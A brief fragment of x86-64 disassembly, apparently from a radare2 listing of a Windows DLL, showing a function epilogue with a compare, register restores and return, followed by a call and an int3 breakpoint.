jne 0x18003a5f0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.180032620
int3